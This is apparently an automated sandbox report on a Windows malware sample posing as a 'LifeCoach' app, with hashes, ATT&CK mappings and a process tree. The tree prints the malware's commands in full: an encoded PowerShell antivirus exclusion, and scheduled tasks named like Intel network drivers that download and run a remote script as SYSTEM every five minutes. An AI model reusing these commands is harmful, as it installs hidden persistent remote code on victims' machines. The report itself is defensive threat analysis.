5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6

Analysis

max time kernel
149s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/08/2026, 03:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe
Size 13.5MB
Sample260812-ejj83aaj81
SHA256 5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6
MD5 07cb24f0ed6f8eceaab8953f63fdccbd
SHA1 8642857317f8bae2ea980dac14033c7e959ff201
SHA512 557012661c5a250bf9d0c2eb3822d2dcc25b467c33555bea350c84f4d4a02bd56de7d6ea10f2e5d7c97c2e192ff950ce0bd03389c0b25b4343f30c6d385d6b0a
SSDEEP 393216:ZLD7yP3vlUYN5RiDCM+M6EHPrQo6vIzzDe1U4IMWhv:oPNU5+M6EJlzzDoIMWhv
TLSH
T1C1E6331843A859FCE5E392749AC74942EBB17C8957B2D6CB034559A63FB3081EC3F722
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://bytecove.cyou/checkout/res/a.php

Signatures

Executes dropped EXE 1 IoCs

pid	Process
5824	LifeCoach.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5720	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c562-35.dat	upx
behavioral2/memory/5824-37-0x0000000000400000-0x0000000005ACB000-memory.dmp	upx

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_2jp5fstp.oze.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_epv3zhuv.krf.psm1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2564	cmd.exe
5708	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LifeCoach.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4484	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2636	taskkill.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4456	schtasks.exe
2328	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4500	powershell.exe
4500	powershell.exe
5720	powershell.exe
5720	powershell.exe
5720	powershell.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeIncreaseQuotaPrivilege	4500	powershell.exe
Token: SeSecurityPrivilege	4500	powershell.exe
Token: SeTakeOwnershipPrivilege	4500	powershell.exe
Token: SeLoadDriverPrivilege	4500	powershell.exe
Token: SeSystemProfilePrivilege	4500	powershell.exe
Token: SeSystemtimePrivilege	4500	powershell.exe
Token: SeProfSingleProcessPrivilege	4500	powershell.exe
Token: SeIncBasePriorityPrivilege	4500	powershell.exe
Token: SeCreatePagefilePrivilege	4500	powershell.exe
Token: SeBackupPrivilege	4500	powershell.exe
Token: SeRestorePrivilege	4500	powershell.exe
Token: SeShutdownPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeSystemEnvironmentPrivilege	4500	powershell.exe
Token: SeRemoteShutdownPrivilege	4500	powershell.exe
Token: SeUndockPrivilege	4500	powershell.exe
Token: SeManageVolumePrivilege	4500	powershell.exe
Token: 33	4500	powershell.exe
Token: 34	4500	powershell.exe
Token: 35	4500	powershell.exe
Token: 36	4500	powershell.exe
Token: SeDebugPrivilege	5720	powershell.exe
Token: SeDebugPrivilege	2636	taskkill.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4868 wrote to memory of 2564	4868	5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe	89
PID 2564 wrote to memory of 4500	2564	cmd.exe	91
PID 2564 wrote to memory of 1712	2564	cmd.exe	93
PID 2564 wrote to memory of 4620	2564	cmd.exe	94
PID 2564 wrote to memory of 4456	2564	cmd.exe	95
PID 2564 wrote to memory of 2328	2564	cmd.exe	96
PID 2564 wrote to memory of 2212	2564	cmd.exe	97
PID 2564 wrote to memory of 5824	2564	cmd.exe	100
PID 2564 wrote to memory of 4484	2564	cmd.exe	103
PID 5708 wrote to memory of 5720	5708	cmd.exe	106
PID 2564 wrote to memory of 2636	2564	cmd.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe
"C:\Users\Admin\AppData\Local\Temp\5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\run.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ep bypass -w h -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAJABlAG4AdgA6AHcAaQBuAGQAaQByAFwAUwB5AHMAdABlAG0AMwAyACIA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4500
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "Intel(R) Ethernet Connection 1219-LM" /f
    3⤵
    PID:1712
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "Intel(R) Ethernet2 Connection 1219-LM" /f
    3⤵
    PID:4620
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Intel(R) Ethernet3 Connection 1219-LM" /tr "schtasks /run /tn \"Intel(R) Ethernet3 Connection 1219-LM2\"" /ru "SYSTEM" /sc ONSTART /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4456
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Intel(R) Ethernet3 Connection 1219-LM2" /tr "cmd.exe /c powershell -w h -command $obj = New-Object Net.WebClient;$s = $obj.DownloadString(\\\"https://bytecove.cyou/checkout/res/a.php\\\");^&([ScriptBlock]::Create($s))" /ru "SYSTEM" /sc MINUTE /mo 5 /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2328
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "Intel(R) Ethernet3 Connection 1219-LM"
    3⤵
    PID:2212
- - C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\LifeCoach.exe
    C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\\LifeCoach.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5824
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4484
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM powershell.exe /FI "SESSION eq 0"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2636

C:\Windows\system32\schtasks.EXE
"C:\Windows\system32\schtasks.EXE" /run /tn "Intel(R) Ethernet3 Connection 1219-LM2"
1⤵
PID:3728

C:\Windows\system32\cmd.exe
"cmd.exe" /c powershell -w h -command $obj = New-Object Net.WebClient;$s = $obj.DownloadString(\"https://bytecove.cyou/checkout/res/a.php\");^&([ScriptBlock]::Create($s))
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -command $obj = New-Object Net.WebClient;$s = $obj.DownloadString(\"https://bytecove.cyou/checkout/res/a.php\");&([ScriptBlock]::Create($s))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5720

C:\Windows\system32\schtasks.exe
schtasks
1⤵
PID:1888

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LifeCoach.exe

Path C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\LifeCoach.exe
Size 13.6MB
SHA256 f1d04e93963f424af536bd6855ea5fd24ce6266aecbe32e5f53c46b1dc9769f6
MD5 2d27401eba6c4577bc4b92cdd82bfac8
SHA1 1a71cf3015d0da33b91dcb606cbe20c093976835
SHA512 d9cf0927c9056b24d733b79ee35c48a17e912525bdf824fbe8364704f5e41cb45cfec0999eee217d3608a2cffb27f33a9e652f0caf240db1becd54e45a1c06e9
SSDEEP 393216:eBeGE94f+hwTX54Y9/TeJuyEeHM0idaxv+Kmx:wE94jpbMJuyd4
TLSH
T1C4E63313E2265197F713F971469ABBE1C90DF86B072623334E6EE5FE4A308D1994E213
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

run.bat

Path C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\run.bat
Size 995B
SHA256 6f79d8b73e8437eabeea42adbd057e2cf78faf210f174c195140be336b361838
MD5 e787553629c40dd0332221400ac2cee4
SHA1 a15293d7fc36bdd2df2994318408b621a037ef1a
SHA512 78bdaa9ad919727bc7bf62f6af753e07d31200d66a2152d93012caf1d4b99d069213f824fb189eb0740ec673b0870f773295f0ad2037beaf6fb78d6266320409
TLSH
T108113FFBB61BEC484A4FB4D1455B05236D33E453529501C1B075C5309DFB2A5D32A3CE
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2jp5fstp.oze.ps1

Path C:\Windows\SystemTemp\__PSScriptPolicyTest_2jp5fstp.oze.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4500-21-0x0000020FFD280000-0x0000020FFD29E000-memory.dmp

Download

memory/4500-27-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-15-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-17-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-18-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-23-0x0000020FFD4F0000-0x0000020FFD5A2000-memory.dmp

Download

memory/4500-22-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-24-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-25-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-14-0x0000020FFD210000-0x0000020FFD232000-memory.dmp

Download

memory/4500-26-0x0000020FFD5B0000-0x0000020FFD5BA000-memory.dmp

Download

memory/4500-16-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-28-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-29-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-30-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-32-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-13-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-33-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-40-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4500-10-0x00007FF8CFE3F000-0x00007FF8CFE40000-memory.dmp

Download

memory/5824-37-0x0000000000400000-0x0000000005ACB000-memory.dmp

Download